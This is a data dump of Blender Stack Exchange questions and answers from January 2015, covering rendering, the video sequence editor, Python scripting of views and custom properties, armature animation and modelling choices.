  <row Id="21838" PostTypeId="1" CreationDate="2015-01-07T01:33:37.780" Score="1" ViewCount="1671" Body="&lt;p&gt;I'm modeling a simple scene of black board (diffuse material) with red, green, yellow, and white squares (emission material) on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is a crop of the rendered result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQlj7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the squares I modeled have same size, however after rendering, the last square shown in the image is smaller than the rest. One square has a lighter edge (marked #1). &#xA;I think this has something to do with anti-aliasing used in Blender cycles. The following is my rendering setting. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/7WbKB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all the squares to have the same size in final rendered image and uniform color even in edges (like the first 4 squares shown in the image above).  I was searching for a solution but couldn't find one. Can anyone suggest a solution for me? Thank you all in advance. &lt;/p&gt;&#xA;" OwnerUserId="9842" LastEditorUserId="9842" LastEditDate="2015-01-07T19:02:17.510" LastActivityDate="2015-01-07T19:49:39.723" Title="How can I render an image with sharp and uniform color edges?" Tags="&lt;cycles-render-engine&gt;&lt;antialiasing&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21839" PostTypeId="1" CreationDate="2015-01-07T01:38:00.093" Score="1" ViewCount="623" Body="&lt;p&gt;I have converted my video to sequence of tga files as I have read the work should be quicker and better as I would like to cut the video. However the framerate I got is somewhere about 10fps instead of 30fps in preview. I have tried to create proxy - 50% but it had no effect on the speed, turning on and of AV sync - nothing. I have set prefetch frames to 500 and RAM limit to 4GB as I have only 8GB. I have older graphics 9600GT, but I think it should be OK, right? CUDA is on. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="9846" LastEditorUserId="599" LastEditDate="2015-01-07T03:18:40.890" LastActivityDate="2015-01-07T20:02:34.217" Title="Video/Animation choppy in the VSE" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21840" PostTypeId="1" CreationDate="2015-01-07T01:47:55.383" Score="0" ViewCount="136" Body="&lt;p&gt;please excuse my ignorance. i'm starting to use blender 2.72 for its Video Editor.&#xA;i'm slowly making progress, but ran into a problem&#xA;when i tried to re-import a rendered movie.&#xA;blender seems to think it has no dimensions...could that be the problem?&#xA;to be clear - i rendered an animation (movie)as avi, from a Blender Session, and then imported it again, into the same session, as a fresh source file for further processing. but the sequencer doesn't read it....&#xA;i tried various rendering output options, but none seem to correct this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks, Roland&lt;/p&gt;&#xA;" OwnerUserId="9847" LastActivityDate="2015-01-07T02:30:01.033" Title="why can't blender read a movie which blender has itself rendered?" Tags="&lt;import&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21841" PostTypeId="2" ParentId="21840" CreationDate="2015-01-07T02:30:01.033" Score="1" Body="&lt;p&gt;okay i figured out the problem.  must make sure proxy view preferences match proxies which have been built or re-built.  i hadn't built the 50 percent proxy but was viewing that proxy in the viewer.....hence the lack of result.&lt;/p&gt;&#xA;" OwnerUserId="9847" LastActivityDate="2015-01-07T02:30:01.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22837" PostTypeId="1" AcceptedAnswerId="22840" CreationDate="2015-01-07T04:41:37.870" Score="1" ViewCount="1000" Body="&lt;p&gt;So I'm trying to edit a video with Blender and I wanted to add images to it. The images that I'm using are created using GIMP. The problem I'm having is that when I add an image to the VSE, it appears on the video but the quality isn't good compared to the original image, which has high quality. Any tips on what I can do to improve it's quality in the video? &lt;img src=&quot;https://i.stack.imgur.com/mhuDV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gdV7H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-01-07T06:55:40.767" LastActivityDate="2015-01-07T07:31:27.347" Title="Tips for better image quality (Video Editing)" Tags="&lt;image&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22839" PostTypeId="1" CreationDate="2015-01-07T06:27:21.597" Score="1" ViewCount="384" Body="&lt;p&gt;I am trying to export models from Blender 3D to 3D's Max and my model distorts for no reason. Is there any specific settings I need to take care of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has export options to .3ds, .fbx and .obj (none of them aren't working properly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Waqas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mx6DU.png&quot; alt=&quot;Model in Blender 3D&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YvIw.png&quot; alt=&quot;After exporting from Blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7455" LastActivityDate="2015-01-07T06:27:21.597" Title="Exporting to Max from Blender 3D distorts the mesh" Tags="&lt;modeling&gt;&lt;export&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22840" PostTypeId="2" ParentId="22837" CreationDate="2015-01-07T07:31:27.347" Score="3" Body="&lt;p&gt;Blender uses a fast form of interpolation in the VSE preview, which can give a jagged result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't really have to worry as this won't be in the final render, but it should also go away when you view the preview at &lt;code&gt;1:1&lt;/code&gt; resolution so nothing needs to be interpolated. You can jump to &lt;code&gt;1:1&lt;/code&gt; zoom by pressing &lt;kbd&gt;Numpad 1&lt;/kbd&gt; in the preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not &lt;code&gt;1:1&lt;/code&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZHWj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1:1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ahtvs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-07T07:31:27.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22841" PostTypeId="2" ParentId="21814" CreationDate="2015-01-07T07:56:53.887" Score="4" Body="&lt;p&gt;It's very easy to choose just one frame form a video to be used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look for the frame controls in the texture panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JW7Xe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how to use it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Frames&lt;/strong&gt; (how many frames you want to use from the video file, in this case just 1 since we want to freeze it, even if the original video has thousands of frames)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Start&lt;/strong&gt; (at what point in the blender time line should this image start? In this case it will start from the very first frame of the blender project.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Offset&lt;/strong&gt; Set the frame number of the particular frame you want to freeze, in this case the frame with the smile is 1110.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, blender will just use one image as a texture and will play only frame 1110 of the video file on every frame of the blender project starting from the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Cycles&lt;/strong&gt; the same options are available on the Image Texture node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q2UxQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-07T16:29:11.593" LastActivityDate="2015-01-07T16:29:11.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22842" PostTypeId="2" ParentId="21836" CreationDate="2015-01-07T08:24:16.197" Score="2" Body="&lt;p&gt;Problem solved!&lt;br&gt;&#xA;The Makehuman sub-folders 'makeclothes', 'makewalk', 'maketarget' must be removed from the folder named Blender Tools &lt;strong&gt;&lt;em&gt;before&lt;/em&gt;&lt;/strong&gt; placing them inside Users/user name/Library/Application support/Blender/2.72/scripts/addons.&lt;br&gt;&#xA;Any folder inside Blender's Addon folder must have a file named &lt;strong&gt;init&lt;/strong&gt;.py; if it doesn't, Python will ignore the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/448271/what-is-init-py-for&quot;&gt;this question&lt;/a&gt; for details of how Python uses &lt;strong&gt;init&lt;/strong&gt;.py&lt;/p&gt;&#xA;" OwnerUserId="9844" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-01-07T17:02:47.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22843" PostTypeId="2" ParentId="21835" CreationDate="2015-01-07T08:37:05.067" Score="5" Body="&lt;p&gt;The formula is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default_cube.matrix_world * sphere.matrix_basis&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can directly get the global coordinates (including constraints) of the sphere from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sphere.matrix_world.translation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_2/bpy.types.Object.html?highlight=matrix_basis#bpy.types.Object.matrix_basis&quot; rel=&quot;noreferrer&quot;&gt;Object.matrix_basis&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_2/mathutils.html?highlight=mathutils.matrix#mathutils.Matrix&quot; rel=&quot;noreferrer&quot;&gt;mathutils.Matrix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-01-07T08:37:05.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22844" PostTypeId="1" CreationDate="2015-01-07T09:15:31.977" Score="3" ViewCount="1092" Body="&lt;p&gt;I'm getting into painting textures onto my models using Blender's texture paint.  I like that Blender provides the 'face selection masking' button that lets me mask out faces that I don't want to accidentally paint.  However, when enabled this feature outlines all the selected faces with bold white lines - making it really difficult to see the results of my painting.  Is there a way to hide this overlay?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2015-01-20T08:41:14.193" Title="Is there a way to hide the masking lines when using Texture Paint with masking enabled?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22845" PostTypeId="2" ParentId="21830" CreationDate="2015-01-07T10:07:24.080" Score="1" Body="&lt;p&gt;Register a new operator that changes the views to your liking and bind it to a hotkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can calculate the size of an area by multiplying &lt;code&gt;width * height&lt;/code&gt; if that marries up with your idea of area size:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class VIEW3D_OT_viewmulti(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Adjust 3D Views based on size (required 3)&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.viewmulti&quot;&#xA;    bl_label = &quot;Change multiple views&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        areas = sorted((area for area in context.screen.areas if area.type == 'VIEW_3D'), key=lambda a: a.width * a.height, reverse=True)&#xA;&#xA;        if len(areas) &amp;lt; 3:&#xA;            self.report({'ERROR'}, &quot;Not enough 3D Views (&amp;lt; 3)&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;        ctx = context.copy()&#xA;        ctx['area'] = areas[0]&#xA;        ctx['region'] = areas[0].regions[-1]&#xA;        bpy.ops.view3d.viewnumpad(ctx, 'INVOKE_DEFAULT', type='FRONT')&#xA;&#xA;        ctx['area'] = areas[1]&#xA;        ctx['region'] = areas[1].regions[-1]&#xA;        bpy.ops.view3d.viewnumpad(ctx, 'INVOKE_DEFAULT', type='TOP')&#xA;&#xA;        ctx['area'] = areas[2]&#xA;        ctx['region'] = areas[2].regions[-1]&#xA;        bpy.ops.view3d.viewnumpad(ctx, 'INVOKE_DEFAULT', type='RIGHT')&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# store keymaps here to access after registration&#xA;addon_keymaps = []&#xA;&#xA;def register():&#xA;&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    # handle the keymap&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='3D View Generic', space_type='VIEW_3D')&#xA;&#xA;    kmi = km.keymap_items.new(VIEW3D_OT_viewmulti.bl_idname, 'SPACE', 'PRESS', ctrl=True, shift=True)&#xA;&#xA;    addon_keymaps.append((km, kmi))&#xA;&#xA;&#xA;def unregister():&#xA;&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;    # handle the keymap&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hotkey in above example code is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-01-07T10:07:24.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22846" PostTypeId="1" CreationDate="2015-01-05T14:17:25.287" Score="0" ViewCount="429" Body="&lt;p&gt;Can someone direct me to the equivalent of the earlier &lt;code&gt;import_scene&lt;/code&gt; operators - like &lt;code&gt;bpy.ops.import_scene.obj()&lt;/code&gt; - in Blender 2.73?&lt;/p&gt;&#xA;" OwnerDisplayName="sandor" LastEditorUserId="1363" LastEditDate="2015-01-07T16:24:33.207" LastActivityDate="2015-01-07T16:24:33.207" Title="How to import a Wavefront .OBJ with Blender 2.73's bpy API?" Tags="&lt;python&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22847" PostTypeId="2" ParentId="22846" CreationDate="2015-01-07T10:28:03.687" Score="2" Body="&lt;p&gt;I don't know of any import/export related changes that have been made for some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bpy.ops.import_scene.obj()&lt;/code&gt; operator will only be available if the Wavefront OBJ addon is enabled, check that it is enabled in User Preferences.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-01-07T10:28:03.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22848" PostTypeId="1" CreationDate="2015-01-06T12:26:11.260" Score="1" ViewCount="1516" Body="&lt;p&gt;I imported a armature from Daz3d to Blender. This armature has an animation. Next I added another armature into Blender. Can I add the animation from the first armature to second armature?&lt;/p&gt;&#xA;" OwnerDisplayName="user3770088" LastEditorUserId="2217" LastEditDate="2015-01-08T15:02:46.277" LastActivityDate="2015-01-08T15:02:46.277" Title="Add animation to armature which is already animated" Tags="&lt;animation&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22849" PostTypeId="2" ParentId="22848" CreationDate="2015-01-07T10:50:31.463" Score="1" Body="&lt;p&gt;Most animation data recorded in blender gets saved as an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet/Action&quot; rel=&quot;nofollow&quot;&gt;action&lt;/a&gt;, an action can easily be applied to another object, it will work fine as long as the animated data path names match in both objects. For an armature that means an action created with one armature can be applied to another armature and it will move bones that have the same name as the first armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For non-matching armatures not all is lost, but could be more work than it's worth. You can add &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints&quot; rel=&quot;nofollow&quot;&gt;constraints&lt;/a&gt; to have a bone follow the motion of another bone. If your animation is simple it may be easier to just animate the new armature, you can use the original as a reference to make it easier.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-01-07T10:50:31.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22850" PostTypeId="1" CreationDate="2015-01-07T11:21:44.573" Score="1" ViewCount="298" Body="&lt;p&gt;I have done a smoke(fluid) simulation in a C++ framework using Navier-Stokes.&#xA;Let us say it is for 100 time steps.&#xA;For every time-step I have the smoke concentration.That is, I have a scalar value for every cell on a grid(say, of a resolution of 128*128 - in x and y directions). It can be 3D also. So, I have stored these values in an array in C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to render it in Blender. Can anyone please guide me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think if we have obj files for every frame, the rest can be done with Python integration in Blender.&#xA;But, how to create the obj files from the array values I have(which I mentioned earlier) ?&lt;/p&gt;&#xA;" OwnerUserId="9709" LastActivityDate="2015-01-07T11:21:44.573" Title="Rendering an external smoke/fluid simulation in Blender" Tags="&lt;rendering&gt;&lt;fluid-simulation&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2015-04-27T19:05:10.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="22852" PostTypeId="1" CreationDate="2015-01-07T13:36:42.323" Score="2" ViewCount="191" Body="&lt;p&gt;Lets say i have a xy plane that is subdivided 10 by 10.  Now, how can I apply a colour to a, for instance, 5x6 set of faces on the plane using python in the game engine?&lt;/p&gt;&#xA;" OwnerUserId="9664" LastEditorUserId="5705" LastEditDate="2015-01-07T15:51:42.283" LastActivityDate="2015-01-07T15:51:42.283" Title="BGE: How to apply colour to a certain face with python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22853" PostTypeId="2" ParentId="22844" CreationDate="2015-01-07T13:53:40.650" Score="3" Body="&lt;p&gt;As far as I know there is no such option, which disables the white lines.&#xA;In &lt;em&gt;Weight Paint Mode&lt;/em&gt; you have an option to display vertices instead of edges, but in &lt;em&gt;Texture Paint Mode&lt;/em&gt; there is no option like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9dkT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that using the &lt;em&gt;Clipping Border Tool&lt;/em&gt; may be a good solution for you. Press &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; and drag a mouse to select the portion of the model which you want to be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sVlkH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can rotate selected portion, and paint on it precisely. And the most important is, there are no lines that may disturb you :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkOS9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-07T16:03:56.290" LastActivityDate="2015-01-07T16:03:56.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22854" PostTypeId="2" ParentId="22852" CreationDate="2015-01-07T14:02:31.850" Score="1" Body="&lt;p&gt;If you don't need to apply coloir to that face in-game you can add different material to it without python- in materials tabe add ne material to mesh on the left of the list of materials. Than set that material to the color you want and go in edit mode. Than select the face you want to be colored in that color and select it(only). After that stay in edit mode and go to materials tab. Selec the material you want to apply on your face and than press &lt;code&gt;assign&lt;/code&gt; under list of materials in materials tab!&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-01-07T14:02:31.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22855" PostTypeId="1" AcceptedAnswerId="22875" CreationDate="2015-01-07T14:42:01.337" Score="2" ViewCount="1025" Body="&lt;p&gt;Is it possible to to customise Blender specific data structures?&#xA;For example how could I add a python &lt;code&gt;list&lt;/code&gt; data type to a Blender &lt;code&gt;action&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="3295" LastEditorUserId="3295" LastEditDate="2016-05-16T12:15:50.230" LastActivityDate="2016-05-16T12:15:50.230" Title="How to customise (add properties to) existing Blender data?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22856" PostTypeId="2" ParentId="22855" CreationDate="2015-01-07T16:21:16.940" Score="1" Body="&lt;p&gt;You can customize data structures with &lt;strong&gt;custom properties&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that only &lt;strong&gt;bpy.types.ID&lt;/strong&gt;, &lt;strong&gt;bpy.types.Bone&lt;/strong&gt; and &lt;strong&gt;bpy.types.PoseBone&lt;/strong&gt; classes support custom properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;bpy.types.ID subclasses&lt;/strong&gt;: &lt;em&gt;WindowManager, Speaker, MetaBall, ParticleSettings, Palette, PaintCurve, Camera, GreasePencil, NodeTree, Material, Mask, Lamp, Sound, Object, Library, Screen, MovieClip, Brush, Mesh, FreestyleLineStyle, Scene, Text, Curve, Lattice, Texture, Image, Armature, Key, Group, VectorFont, Action, World&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;Yes&lt;/strong&gt;, &lt;em&gt;Action will support custom properties&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several types of custom properties: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Properties&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;static&lt;/em&gt;, &lt;em&gt;dynamic&lt;/em&gt; and &lt;em&gt;ID&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;static type&lt;/strong&gt; the format to store lists in is for example bpy.props.StringProperty(), so any data needs to be encoded into string and then decoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;ID type&lt;/strong&gt; you can use lists and dictionaries but lists may only contain floats and integers. Also they are declared only for single datablock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;dynamic&lt;/em&gt; accept functions and are not stored with blend file.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-08T09:07:47.027" LastActivityDate="2015-01-08T09:07:47.027" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22857" PostTypeId="1" AcceptedAnswerId="22860" CreationDate="2015-01-07T17:25:19.260" Score="3" ViewCount="474" Body="&lt;p&gt;what is better? Using an alpha image or modeling a leaf, flower, or other plant material. I've read a few places that using a modeled leaf has a faster render time. You also get more control and can add more variety if you model it yourself. But what do you guys think? This is for photorealistic renders.&lt;/p&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2015-01-10T03:31:16.353" Title="Alpha image or model?" Tags="&lt;materials&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22858" PostTypeId="1" CreationDate="2015-01-07T17:35:42.847" Score="0" ViewCount="1030" Body="&lt;p&gt;I have followed numerous online tutorials and no matter how many times I watch/mimic exactly what they are doing, I still end up with ONE animation that plays everything at once. I cannot figure it out. Basically I just have two buttons and I would like them to be able to be pressed separately. I have created a left and right armature to control the left and right buttons, but no matter how many times I link/relink the animations or double check that only one animation is linked per armature, they still both press at the same time. A little insight on this would be greatly appreciated. &lt;a href=&quot;https://dl.dropboxusercontent.com/u/11224660/HUD.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a dropbox link to the blend&lt;/a&gt;, I just want it fixed and to know what I am doing wrong. So lost right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watched &lt;a href=&quot;http://www.youtube.com/watch?v=Gb152Qncn2s&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial. Seemed great, but doesn't seem to help me out any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the import looks like. As you can see, only the &quot;RightButtonAction&quot; animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GGQhn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10850" LastEditorUserId="-1" LastEditDate="2015-01-09T02:53:58.110" LastActivityDate="2015-01-09T02:53:58.110" Title="Why multiple blender animations are not showing up in unity when imported" Tags="&lt;animation&gt;&lt;armature&gt;&lt;unity&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22859" PostTypeId="2" ParentId="22857" CreationDate="2015-01-07T17:41:40.563" Score="2" Body="&lt;p&gt;If you use photorealistic renders, use model, because it will make it smoother and you will get exact leave as you want. Use alpha leaves for games or quixk renders used for movies and animations;)&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-01-07T17:41:40.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22860" PostTypeId="2" ParentId="22857" CreationDate="2015-01-07T17:41:59.453" Score="5" Body="&lt;p&gt;For a close-up I would certainly model and texture the leaves, however, at a distance a simple alpha texture could get just as realistic of a result with much less computing power. For example if you are taking a closeup of some foliage and then zooming/focusing on a subject, modelling the extra detail would be worth the extra effort/render time. However if you just want some realistic shrubs/trees in the background, textures are the way to go. And if it is only for a very distant scene or the background is blurred, having textures for entire sections of foliage might help even more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, unless you can see the difference, there is no need for the extra polys in your scene.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-07T18:41:30.267" LastActivityDate="2015-01-07T18:41:30.267" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22861" PostTypeId="1" CreationDate="2015-01-07T18:11:20.020" Score="1" ViewCount="705" Body="&lt;p&gt;I do not believe the reference question about &lt;a href=&quot;https://blender.stackexchange.com/questions/644/why-does-the-zoom-sometimes-stop-at-a-point&quot;&gt;zooming to a point and refusing to zoom further&lt;/a&gt; relates to what I experience.  When I open a file, one click either way on the mouse wheel zooms + or - approximately as much as one click on numpad+ or numpad-. After working with the file for a while, zooming with the mouse wheel is no longer useful: one click of the wheel changes the image from microscopic to huge or the reverse. Numpad+ and numpad- continue to respond properly. It is especially bothersome when I depress the mouse wheel to inspect an element in 3D mode. It is hard to depress the scroll wheel without rotating it a little.  Just a little rotation makes the selected element almost disappear or become huge.  I'm using Blender 2.72b.&lt;/p&gt;&#xA;" OwnerUserId="10851" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2017-01-17T13:33:16.333" Title="The zoom function with the mouse wheel sometimes zooms uncontrollably" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22863" PostTypeId="1" CreationDate="2015-01-07T18:20:48.907" Score="0" ViewCount="39" Body="&lt;p&gt;I have a problem that when I select certain addons that require parameter changes, I'm not able to edit them, they appear greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is a system settings problem (since it happens across versions) and experience something similar when, for example, adding a circle.  I resolved this by changing &quot;new objects enter into edit mode&quot; in the &quot;editing&quot; settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately even though this setting works for objects it doesn't work for things like the &quot;fracture&quot;,&quot;ANT&quot;, &quot;Sapling etc.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="10852" LastEditorUserId="6204" LastEditDate="2015-01-07T19:52:58.690" LastActivityDate="2015-01-07T19:52:58.690" Title="addon parameters are not editable" Tags="&lt;objects&gt;&lt;add-on&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-01-08T12:25:16.783" ContentLicense="CC BY-SA 3.0" />
